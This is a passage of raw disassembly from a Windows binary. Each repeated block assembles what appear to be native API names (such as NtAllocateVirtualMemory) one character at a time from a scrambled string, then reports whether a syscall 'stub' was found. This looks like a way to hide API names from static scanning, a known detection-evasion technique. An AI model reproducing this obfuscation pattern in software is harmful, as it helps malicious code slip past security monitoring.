mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x3ca0]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x3cc0]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x3cef]
mov rcx, rax
call fcn.0046f6a0
lea rdx, [rbp + 0x24a0]
lea rax, [rbp + 0x3cf0]
mov rcx, rax
call fcn.004a7140
mov r9, qword [rbp + 0x52a8]
mov r8, qword [rbp + 0x52c8]
mov rdx, qword [rbp + 0x52a0]
lea rax, [rbp + 0x3cf0]
mov rcx, qword [rbp + 0x5320]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x5390]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.004015cd
mov dword [rbp + 0x529c], eax
lea rax, [rbp + 0x3cf0]
mov rcx, rax
call fcn.004a7c00
cmp dword [rbp + 0x529c], 0
je 0x406f54
lea rbx, [0x0151f58b]
jmp 0x406f5b
lea rbx, [0x0151f590]
lea rax, [rbp + 0x24a0]
mov rcx, rax
call fcn.00432660
mov r8, rbx
mov rdx, rax
lea rcx, str._s_Stub_Found:__s_n
call fcn.00401540
lea rax, [rbp + 0x3f1f]
mov rcx, rax
call fcn.0046f670
lea rdx, [rbp + 0x3f1f]
lea rax, [rbp + 0x3ef0]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.004a75b0
lea rax, [rbp + 0x3ed0]
lea rdx, [rbp + 0x3ef0]
lea r8, [0x0151f56f]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x3eb0]
lea rdx, [rbp + 0x3ed0]
lea r8, [0x0151f5cb]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x3e90]
lea rdx, [rbp + 0x3eb0]
lea r8, [0x0151f583]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x3e70]
lea rdx, [rbp + 0x3e90]
lea r8, [0x0151f57b]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x3e50]
lea rdx, [rbp + 0x3e70]
lea r8, [0x0151f583]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x3e30]
lea rdx, [rbp + 0x3e50]
lea r8, [0x0151f57b]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x3e10]
lea rdx, [rbp + 0x3e30]
lea r8, [0x0151f571]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x3df0]
lea rdx, [rbp + 0x3e10]
lea r8, [0x0151f5d1]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x3dd0]
lea rdx, [rbp + 0x3df0]
lea r8, [0x0151f577]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x3db0]
lea rdx, [rbp + 0x3dd0]
lea r8, [0x0151f5af]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x3d90]
lea rdx, [rbp + 0x3db0]
lea r8, [0x0151f5b1]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x3d70]
lea rdx, [rbp + 0x3d90]
lea r8, [0x0151f581]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x3d50]
lea rdx, [rbp + 0x3d70]
lea r8, [0x0151f57b]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x3d30]
lea rdx, [rbp + 0x3d50]
lea r8, [0x0151f579]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x3d10]
lea rdx, [rbp + 0x3d30]
lea r8, [0x0151f5b3]
mov rcx, rax
call fcn.004b7590
lea rdx, [rbp + 0x3d10]
lea rax, [rbp + 0x24a0]
mov rcx, rax
call fcn.004a7c40
lea rax, [rbp + 0x3d10]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x3d30]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x3d50]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x3d70]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x3d90]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x3db0]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x3dd0]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x3df0]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x3e10]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x3e30]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x3e50]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x3e70]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x3e90]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x3eb0]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x3ed0]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x3ef0]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x3f1f]
mov rcx, rax
call fcn.0046f6a0
lea rdx, [rbp + 0x24a0]
lea rax, [rbp + 0x3f20]
mov rcx, rax
call fcn.004a7140
mov r9, qword [rbp + 0x52a8]
mov r8, qword [rbp + 0x52c8]
mov rdx, qword [rbp + 0x52a0]
lea rax, [rbp + 0x3f20]
mov rcx, qword [rbp + 0x5318]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x5390]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.004015cd
mov dword [rbp + 0x529c], eax
lea rax, [rbp + 0x3f20]
mov rcx, rax
call fcn.004a7c00
cmp dword [rbp + 0x529c], 0
je 0x4072ec
lea rbx, [0x0151f58b]
jmp 0x4072f3
lea rbx, [0x0151f590]
lea rax, [rbp + 0x24a0]
mov rcx, rax
call fcn.00432660
mov r8, rbx
mov rdx, rax
lea rcx, str._s_Stub_Found:__s_n
call fcn.00401540
lea rax, [rbp + 0x41af]
mov rcx, rax
call fcn.0046f670
lea rdx, [rbp + 0x41af]
lea rax, [rbp + 0x4180]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.004a75b0
lea rax, [rbp + 0x4160]
lea rdx, [rbp + 0x4180]
lea r8, [0x0151f56f]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x4140]
lea rdx, [rbp + 0x4160]
lea r8, [0x0151f571]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x4120]
lea rdx, [rbp + 0x4140]
lea r8, [0x0151f573]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x4100]
lea rdx, [rbp + 0x4120]
lea r8, [0x0151f57b]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x40e0]
lea rdx, [rbp + 0x4100]
lea r8, [0x0151f581]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x40c0]
lea rdx, [rbp + 0x40e0]
lea r8, [0x0151f56f]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x40a0]
lea rdx, [rbp + 0x40c0]
lea r8, [0x0151f5b9]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x4080]
lea rdx, [rbp + 0x40a0]
lea r8, [0x0151f57b]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x4060]
lea rdx, [rbp + 0x4080]
lea r8, [0x0151f5bb]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x4040]
lea rdx, [rbp + 0x4060]
lea r8, [0x0151f583]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x4020]
lea rdx, [rbp + 0x4040]
lea r8, [0x0151f587]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x4000]
lea rdx, [rbp + 0x4020]
lea r8, [0x0151f57b]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x3fe0]
lea rdx, [rbp + 0x4000]
lea r8, [0x0151f5af]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x3fc0]
lea rdx, [rbp + 0x3fe0]
lea r8, [0x0151f5b1]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x3fa0]
lea rdx, [rbp + 0x3fc0]
lea r8, [0x0151f581]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x3f80]
lea rdx, [rbp + 0x3fa0]
lea r8, [0x0151f57b]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x3f60]
lea rdx, [rbp + 0x3f80]
lea r8, [0x0151f579]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x3f40]
lea rdx, [rbp + 0x3f60]
lea r8, [0x0151f5b3]
mov rcx, rax
call fcn.004b7590
lea rdx, [rbp + 0x3f40]
lea rax, [rbp + 0x24a0]
mov rcx, rax
call fcn.004a7c40
lea rax, [rbp + 0x3f40]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x3f60]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x3f80]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x3fa0]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x3fc0]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x3fe0]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x4000]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x4020]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x4040]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x4060]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x4080]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x40a0]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x40c0]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x40e0]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x4100]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x4120]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x4140]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x4160]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x4180]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x41af]
mov rcx, rax
call fcn.0046f6a0
lea rdx, [rbp + 0x24a0]
lea rax, [rbp + 0x41b0]
mov rcx, rax
call fcn.004a7140
mov r9, qword [rbp + 0x52a8]
mov r8, qword [rbp + 0x52c8]
mov rdx, qword [rbp + 0x52a0]
lea rax, [rbp + 0x41b0]
mov rcx, qword [rbp + 0x5310]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x5390]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.004015cd
mov dword [rbp + 0x529c], eax
lea rax, [rbp + 0x41b0]
mov rcx, rax
call fcn.004a7c00
cmp dword [rbp + 0x529c], 0
je 0x407708
lea rbx, [0x0151f58b]
jmp 0x40770f
lea rbx, [0x0151f590]
lea rax, [rbp + 0x24a0]
mov rcx, rax
call fcn.00432660
mov r8, rbx
mov rdx, rax
lea rcx, str._s_Stub_Found:__s_n
call fcn.00401540
lea rax, [rbp + 0x441f]
mov rcx, rax
call fcn.0046f670
lea rdx, [rbp + 0x441f]
lea rax, [rbp + 0x43f0]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.004a75b0
lea rax, [rbp + 0x43d0]
lea rdx, [rbp + 0x43f0]
lea r8, [0x0151f56f]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x43b0]
lea rdx, [rbp + 0x43d0]
lea r8, [0x0151f5d3]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x4390]
lea rdx, [rbp + 0x43b0]
lea r8, [0x0151f57b]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x4370]
lea rdx, [rbp + 0x4390]
lea r8, [0x0151f56f]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x4350]
lea rdx, [rbp + 0x4370]
lea r8, [0x0151f5ad]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x4330]
lea rdx, [rbp + 0x4350]
lea r8, [0x0151f575]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x4310]
lea rdx, [rbp + 0x4330]
lea r8, [0x0151f5c1]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x42f0]
lea rdx, [rbp + 0x4310]
lea r8, [0x0151f56f]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x42d0]
lea rdx, [rbp + 0x42f0]
lea r8, [0x0151f57b]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x42b0]
lea rdx, [rbp + 0x42d0]
lea r8, [0x0151f5b7]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x4290]
lea rdx, [rbp + 0x42b0]
lea r8, [0x0151f56f]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x4270]
lea rdx, [rbp + 0x4290]
lea r8, [0x0151f5af]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x4250]
lea rdx, [rbp + 0x4270]
lea r8, [0x0151f5b1]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x4230]
lea rdx, [rbp + 0x4250]
lea r8, [0x0151f581]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x4210]
lea rdx, [rbp + 0x4230]
lea r8, [0x0151f57b]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x41f0]
lea rdx, [rbp + 0x4210]
lea r8, [0x0151f579]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x41d0]
lea rdx, [rbp + 0x41f0]
lea r8, [0x0151f5b3]
mov rcx, rax
call fcn.004b7590
lea rdx, [rbp + 0x41d0]
lea rax, [rbp + 0x24a0]
mov rcx, rax
call fcn.004a7c40
lea rax, [rbp + 0x41d0]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x41f0]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x4210]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x4230]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x4250]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x4270]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x4290]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x42b0]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x42d0]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x42f0]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x4310]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x4330]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x4350]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x4370]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x4390]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x43b0]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x43d0]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x43f0]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x441f]
mov rcx, rax
call fcn.0046f6a0
lea rdx, [rbp + 0x24a0]
lea rax, [rbp + 0x4420]
mov rcx, rax
call fcn.004a7140
mov r9, qword [rbp + 0x52a8]
mov r8, qword [rbp + 0x52c8]
mov rdx, qword [rbp + 0x52a0]
lea rax, [rbp + 0x4420]
mov rcx, qword [rbp + 0x5308]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x5390]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.004015cd
mov dword [rbp + 0x529c], eax
lea rax, [rbp + 0x4420]
mov rcx, rax
call fcn.004a7c00
cmp dword [rbp + 0x529c], 0
je 0x407af8
lea rbx, [0x0151f58b]
jmp 0x407aff
lea rbx, [0x0151f590]
lea rax, [rbp + 0x24a0]
mov rcx, rax
call fcn.00432660
mov r8, rbx
mov rdx, rax
lea rcx, str._s_Stub_Found:__s_n
call fcn.00401540
lea rax, [rbp + 0x468f]
mov rcx, rax
call fcn.0046f670
lea rdx, [rbp + 0x468f]
lea rax, [rbp + 0x4660]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.004a75b0
lea rax, [rbp + 0x4640]
lea rdx, [rbp + 0x4660]
lea r8, [0x0151f56f]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x4620]
lea rdx, [rbp + 0x4640]
lea r8, [0x0151f5bf]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x4600]
lea rdx, [rbp + 0x4620]
lea r8, [0x0151f57b]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x45e0]
lea rdx, [rbp + 0x4600]
lea r8, [0x0151f56f]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x45c0]
lea rdx, [rbp + 0x45e0]
lea r8, [0x0151f5ad]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x45a0]
lea rdx, [rbp + 0x45c0]
lea r8, [0x0151f575]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x4580]
lea rdx, [rbp + 0x45a0]
lea r8, [0x0151f5c1]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x4560]
lea rdx, [rbp + 0x4580]
lea r8, [0x0151f56f]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x4540]
lea rdx, [rbp + 0x4560]
lea r8, [0x0151f57b]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x4520]
lea rdx, [rbp + 0x4540]
lea r8, [0x0151f5b7]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x4500]
lea rdx, [rbp + 0x4520]
lea r8, [0x0151f56f]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x44e0]
lea rdx, [rbp + 0x4500]
lea r8, [0x0151f5af]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x44c0]
lea rdx, [rbp + 0x44e0]
lea r8, [0x0151f5b1]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x44a0]
lea rdx, [rbp + 0x44c0]
lea r8, [0x0151f581]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x4480]
lea rdx, [rbp + 0x44a0]
lea r8, [0x0151f57b]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x4460]
lea rdx, [rbp + 0x4480]
lea r8, [0x0151f579]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x4440]
lea rdx, [rbp + 0x4460]
lea r8, [0x0151f5b3]
mov rcx, rax
call fcn.004b7590
lea rdx, [rbp + 0x4440]
lea rax, [rbp + 0x24a0]
mov rcx, rax
call fcn.004a7c40
lea rax, [rbp + 0x4440]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x4460]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x4480]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x44a0]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x44c0]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x44e0]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x4500]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x4520]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x4540]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x4560]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x4580]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x45a0]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x45c0]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x45e0]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x4600]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x4620]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x4640]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x4660]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x468f]
mov rcx, rax
call fcn.0046f6a0
lea rdx, [rbp + 0x24a0]
lea rax, [rbp + 0x4690]
mov rcx, rax
call fcn.004a7140
mov r9, qword [rbp + 0x52a8]
mov r8, qword [rbp + 0x52c8]
mov rdx, qword [rbp + 0x52a0]
lea rax, [rbp + 0x4690]
mov rcx, qword [rbp + 0x5300]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x5390]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.004015cd
mov dword [rbp + 0x529c], eax
lea rax, [rbp + 0x4690]
mov rcx, rax
call fcn.004a7c00
cmp dword [rbp + 0x529c], 0
je 0x407ee8
lea rbx, [0x0151f58b]
jmp 0x407eef
lea rbx, [0x0151f590]
lea rax, [rbp + 0x24a0]
mov rcx, rax
call fcn.00432660
mov r8, rbx
mov rdx, rax
lea rcx, str._s_Stub_Found:__s_n
call fcn.00401540
lea rax, [rbp + 0x48bf]
mov rcx, rax
call fcn.0046f670
lea rdx, [rbp + 0x48bf]
lea rax, [rbp + 0x4890]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.004a75b0
lea rax, [rbp + 0x4870]
lea rdx, [rbp + 0x4890]
lea r8, [0x0151f56f]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x4850]
lea rdx, [rbp + 0x4870]
lea r8, [0x0151f5d5]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x4830]
lea rdx, [rbp + 0x4850]
lea r8, [0x0151f57b]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x4810]
lea rdx, [rbp + 0x4830]
lea r8, [0x0151f573]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x47f0]
lea rdx, [rbp + 0x4810]
lea r8, [0x0151f579]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x47d0]
lea rdx, [rbp + 0x47f0]
lea r8, [0x0151f589]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x47b0]
lea rdx, [rbp + 0x47d0]
lea r8, [0x0151f5b5]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x4790]
lea rdx, [rbp + 0x47b0]
lea r8, [0x0151f5b7]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x4770]
lea rdx, [rbp + 0x4790]
lea r8, [0x0151f57b]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x4750]
lea rdx, [rbp + 0x4770]
lea r8, [0x0151f577]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x4730]
lea rdx, [rbp + 0x4750]
lea r8, [0x0151f583]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x4710]
lea rdx, [rbp + 0x4730]
lea r8, [0x0151f56f]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x46f0]
lea rdx, [rbp + 0x4710]
lea r8, [0x0151f57f]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x46d0]
lea rdx, [rbp + 0x46f0]
lea r8, [0x0151f575]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x46b0]
lea rdx, [rbp + 0x46d0]
lea r8, [0x0151f5c1]
mov rcx, rax
call fcn.004b7590
lea rdx, [rbp + 0x46b0]
lea rax, [rbp + 0x24a0]
mov rcx, rax
call fcn.004a7c40
lea rax, [rbp + 0x46b0]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x46d0]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x46f0]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x4710]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x4730]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x4750]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x4770]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x4790]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x47b0]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x47d0]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x47f0]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x4810]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x4830]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x4850]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x4870]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x4890]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x48bf]
mov rcx, rax
call fcn.0046f6a0
lea rdx, [rbp + 0x24a0]
lea rax, [rbp + 0x48c0]
mov rcx, rax
call fcn.004a7140
mov r9, qword [rbp + 0x52a8]
mov r8, qword [rbp + 0x52c8]
mov rdx, qword [rbp + 0x52a0]
lea rax, [rbp + 0x48c0]
mov rcx, qword [rbp + 0x52f8]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x5390]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.004015cd
mov dword [rbp + 0x529c], eax
lea rax, [rbp + 0x48c0]
mov rcx, rax
call fcn.004a7c00
cmp dword [rbp + 0x529c], 0
je 0x408280
lea rbx, [0x0151f58b]
jmp 0x408287
lea rbx, [0x0151f590]
lea rax, [rbp + 0x24a0]
mov rcx, rax
call fcn.00432660
mov r8, rbx
mov rdx, rax
lea rcx, str._s_Stub_Found:__s_n
call fcn.00401540
lea rax, [rbp + 0x4a8f]
mov rcx, rax
call fcn.0046f670
lea rdx, [rbp + 0x4a8f]
lea rax, [rbp + 0x4a60]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.004a75b0
lea rax, [rbp + 0x4a40]
lea rdx, [rbp + 0x4a60]
lea r8, [0x0151f56f]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x4a20]
lea rdx, [rbp + 0x4a40]
lea r8, [0x0151f5c5]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x4a00]
lea rdx, [rbp + 0x4a20]
lea r8, [0x0151f5d1]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x49e0]
lea rdx, [rbp + 0x4a00]
lea r8, [0x0151f57b]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x49c0]
lea rdx, [rbp + 0x49e0]
lea r8, [0x0151f5c1]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x49a0]
lea rdx, [rbp + 0x49c0]
lea r8, [0x0151f5bf]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x4980]
lea rdx, [rbp + 0x49a0]
lea r8, [0x0151f57b]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x4960]
lea rdx, [rbp + 0x4980]
lea r8, [0x0151f577]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x4940]
lea rdx, [rbp + 0x4960]
lea r8, [0x0151f56f]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x4920]
lea rdx, [rbp + 0x4940]
lea r8, [0x0151f57f]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x4900]
lea rdx, [rbp + 0x4920]
lea r8, [0x0151f575]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x48e0]
lea rdx, [rbp + 0x4900]
lea r8, [0x0151f5c1]
mov rcx, rax
call fcn.004b7590
lea rdx, [rbp + 0x48e0]
lea rax, [rbp + 0x24a0]
mov rcx, rax
call fcn.004a7c40
lea rax, [rbp + 0x48e0]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x4900]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x4920]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x4940]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x4960]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x4980]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x49a0]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x49c0]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x49e0]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x4a00]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x4a20]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x4a40]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x4a60]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x4a8f]
mov rcx, rax
call fcn.0046f6a0
lea rdx, [rbp + 0x24a0]
lea rax, [rbp + 0x4a90]
mov rcx, rax
call fcn.004a7140
mov r9, qword [rbp + 0x52a8]
mov r8, qword [rbp + 0x52c8]
mov rdx, qword [rbp + 0x52a0]
lea rax, [rbp + 0x4a90]
mov rcx, qword [rbp + 0x52f0]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x5390]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.004015cd
mov dword [rbp + 0x529c], eax
lea rax, [rbp + 0x4a90]
mov rcx, rax
call fcn.004a7c00
cmp dword [rbp + 0x529c], 0
je 0x408594
lea rbx, [0x0151f58b]
jmp 0x40859b
lea rbx, [0x0151f590]
lea rax, [rbp + 0x24a0]
mov rcx, rax
call fcn.00432660
mov r8, rbx
mov rdx, rax
lea rcx, str._s_Stub_Found:__s_n
call fcn.00401540
lea rax, [rbp + 0x4cff]
mov rcx, rax
call fcn.0046f670
lea rdx, [rbp + 0x4cff]
lea rax, [rbp + 0x4cd0]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
